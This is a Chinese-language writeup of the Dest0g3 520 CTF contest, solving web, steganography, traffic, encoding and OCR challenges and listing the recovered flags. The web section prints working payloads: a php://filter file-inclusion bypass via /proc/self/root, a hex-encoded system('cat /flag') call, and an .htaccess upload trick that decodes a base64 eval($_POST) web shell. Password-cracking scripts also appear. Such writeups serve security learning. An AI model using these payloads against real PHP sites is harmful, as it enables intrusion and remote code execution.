文章目录

  • WEB
  • phpdest
  • EasyPHP
  • SimpleRCE
  • funny_upload
  • MISC
  • Welcome to fxxking DestCTF
  • Pngenius
  • EasyEncode
  • StrangeTraffic
  • codegame
  • 你知道js吗
  • EasyWord
  • Python_jail
  • 4096
  • AI
  • OCR


WEB

phpdest

Dest0g3 520迎新赛 Writeup_压缩包


Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_02

php源码分析 require_once 绕过不能重复包含文件的限制https://www.anquanke.com/post/id/213235

payload

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_03

PS C:\Users\Administrator> php -r "echo base64_decode('PD9waHANCiRmbGFnID0gIkRlc3QwZzN7NzMwZDFmM2YtOGYzZi00YmEzLThkMDAtOGQxMWVkY2RjODRkfSI7DQo=');"
<?php
$flag = "Dest0g3{730d1f3f-8f3f-4ba3-8d00-8d11edcdc84d}";
PS C:\Users\Administrator>

EasyPHP

Dest0g3 520迎新赛 Writeup_ci_04


POST传参,造成报错,执行set_error_handler

ctf[]=123

Dest0g3 520迎新赛 Writeup_压缩包_05

SimpleRCE

Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_06


Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_07


payload

aaa=hex2bin('73797374656d')(hex2bin('636174202f666c6167'));

funny_upload

Dest0g3 520迎新赛 Writeup_php_08


前端JS有些白名单限制,直接利用插件或者其他办法禁用掉JS

上传过程中发现可以上传.htaccess文件,其次限制了文件后缀名,以及检查文件内容,过滤:<?

.htaccess中利用伪协议,对访问内容base64解码

.htaccess文件

AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=images.jpg"

images.jpg

PD9waHAgZXZhbCgkX1BPU1RbJ21vY2h1NyddKTs/Pg==

Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_09

MISC

Welcome to fxxking DestCTF

Dest0g3 520迎新赛 Writeup_压缩包_10


Dest0g3 520迎新赛 Writeup_ci_11

Pngenius

Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_12


Dest0g3 520迎新赛 Writeup_php_13


分离出来的压缩包有密码,真加密,寻找密码

Dest0g3 520迎新赛 Writeup_压缩包_14


图片LSB发现密码

Dest0g3 520迎新赛 Writeup_压缩包_15


解压

Dest0g3{2908C1AA-B2C1-B8E6-89D1-21B97D778603}

EasyEncode

Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_16


Dest0g3 520迎新赛 Writeup_php_17


真加密,尝试爆破密码

Dest0g3 520迎新赛 Writeup_ci_18


Dest0g3 520迎新赛 Writeup_压缩包_19

Dest0g3{Deoding_1s_e4sy_4_U}

StrangeTraffic

Dest0g3 520迎新赛 Writeup_压缩包_20


查看Modbus传输的数据,是一位一位覆盖的

Dest0g3 520迎新赛 Writeup_压缩包_21


和flag的格式开头的base64一样,直接锁定

Dest0g3 520迎新赛 Writeup_压缩包_22


不长,手工一位一位查看即可,解码base64

Dest0g3{31A5BEA6-F20D-F18A-E8EA-29B4F257108B}

codegame

Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_23


Dest0g3 520迎新赛 Writeup_压缩包_24


LOL Language

Dest0g3 520迎新赛 Writeup_ci_25


得到key,首先可以用作压缩包密码解压缩包得到1.docx,内容提示AES,无其他内容,尝试将docx修改成.zip解压发现fllllllllll1ag.txt

Dest0g3 520迎新赛 Writeup_php_26


emoji符号加上之前提示的AES,猜测为emoji-aes,key继续猜测为之前的key,有点小脑洞Rotatinotallow=4

PS C:\Users\Administrator> php -r "echo hex2bin('666C61677B39663638663333342D303137612D343230312D393264662D6464646363313435333334647D');"
flag{9f68f334-017a-4201-92df-dddcc145334d}
PS C:\Users\Administrator>

你知道js吗

Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_29


Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_30


修改后缀名为flag.docx,然后打开,复制内容

Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_31


BrainFuckhttps://www.splitbrain.org/services/ook

PS C:\Users\Administrator> php -r "echo hex2bin('446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D');"
Dest0g3{86facac9-0a5d-4047-b702-86cb37ab77b2}
PS C:\Users\Administrator>

EasyWord

Dest0g3 520迎新赛 Writeup_压缩包_32

The length of docm 's password is 6
The Regular Expression of the password is:
[a-z] [a-z] q [a-z] b [a-z]

生成密码字典

alphabet='abcdefghijklmnopqrstuvwxyz'
with open('password.txt', 'w') as f:
	for s1 in alphabet:
		for s2 in alphabet:
			for s3 in alphabet:
				for s4 in alphabet:
					password = '{}{}q{}b{}\n'.format(s1, s2, s3, s4)
					f.write(password)

hashcat破解office密码:https://evi1cg.me/archives/hashcat_crack_office.html

Dest0g3 520迎新赛 Writeup_ci_33


得到password.docm的密码:ulqsbt


我的WPS是个人版,运行不了宏,懒得弄了,直接摆

Python_jail

Dest0g3 520迎新赛 Writeup_php_34


Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_35


零宽度字符隐写

Dest0g3 520迎新赛 Writeup_压缩包_36


Dest0g3 520迎新赛 Writeup_php_37

Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_38


解压压缩包,得到SECRET1.pngLSB发现flag的base64

Dest0g3 520迎新赛 Writeup_压缩包_39

PS C:\Users\Administrator> php -r "echo base64_decode('ZmxhZ3tiNWJjZmM4Ny01Y2E2LTQzZjEtYjM4NC01N2QwOWI4ODZjYTl9');"
flag{b5bcfc87-5ca6-43f1-b384-57d09b886ca9}

4096

Dest0g3 520迎新赛 Writeup_php_40


首先/js/local_storage_manager.js发现后半部分base64解码得到flag

Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_41


下载源码下来发现favicon.png文件大小异常

Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_42


wav文件被分为两部分,中间一部分是SSTV,旁边两部分是DTMF

Dest0g3 520迎新赛 Writeup_ci_43


首先删掉中间部分导出,DTMF解码

Dest0g3 520迎新赛 Writeup_php_44


QSSTV

Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_45


Dest0g3 520迎新赛 Writeup_php_46


猜测DTMF得到就是手机号码,不过多了一位7好像重复了,应该是导出的时候出错,删掉即可,得到号码:13879085947

PS D:\Tools\Misc\dtmf2num> php -r "echo md5('13879085947');"
32fc1b5487cb447f792a19418b92544e

Dest0g3 520迎新赛 Writeup_ci_47


gaps拼图

gaps --image=part_flag.jpg --generations=50 --population=120 --size=64 --verbose

一直没出好效果,卡在这了,不过也差不多了,拼一下

Dest0g3 520迎新赛 Writeup_ci_48


得到后半部分flag

RGVzdDBnM3tlZDRkMTE0Zi05ZWU0LQ==

前半部分flag

NGVlNy1iNjczLTk3MWQ4MWY4YjE3N30=
PS D:\Tools\Misc\dtmf2num> php -r "echo base64_decode('NGVlNy1iNjczLTk3MWQ4MWY4YjE3N30=');"
4ee7-b673-971d81f8b177}
PS D:\Tools\Misc\dtmf2num> php -r "echo base64_decode('RGVzdDBnM3tlZDRkMTE0Zi05ZWU0LQ==');"
Dest0g3{ed4d114f-9ee4-
Dest0g3{ed4d114f-9ee4-4ee7-b673-971d81f8b177}

AI

OCR

Dest0g3 520迎新赛 Writeup_压缩包_49


首先图片用010 Editor打开之后报错CRC不匹配,猜测修改了高度,使用脚本还原

import binascii
import struct
import sys

file = "flag_pic.png"#图片地址
fr = open(file,'rb').read()
data = bytearray(fr[0x0c:0x1d])
crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])
#原来的代码: crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",''))
n = 4095
for w in range(n):
    width = bytearray(struct.pack('>i', w))
    for h in range(n):
        height = bytearray(struct.pack('>i', h))
        for x in range(4):
            data[x+4] = width[x]
            data[x+8] = height[x]
        crc32result = binascii.crc32(data) & 0xffffffff
        if crc32result == crc32key:
            print(width,height)
            newpic = bytearray(fr)
            for x in range(4):
                newpic[x+16] = width[x]
                newpic[x+20] = height[x]
            fw = open(file+'.png','wb')
            fw.write(newpic)
            fw.close
            sys.exit()

Dest0g3 520迎新赛 Writeup_ci_50


在线OCR:https://www.onlineocr.net/zh_hant/

将得到的文本替换一下OCR比较容易出错的字符:

  • l -> 1
  • O -> 0

Dest0g3 520迎新赛 Writeup_2022Dest0g3迎新赛_51


另存为.7z,解压,打开虽然乱码但是还是可以发现flag的base64

PS C:\Users\Administrator> php -r "echo base64_decode('RGVzdDBnM3szNDUxMjA5OC0zMzA5LTc3MTItODg2NS03ODM0NjAyMjE2NDd9');"
Dest0g3{34512098-3309-7712-8865-783460221647}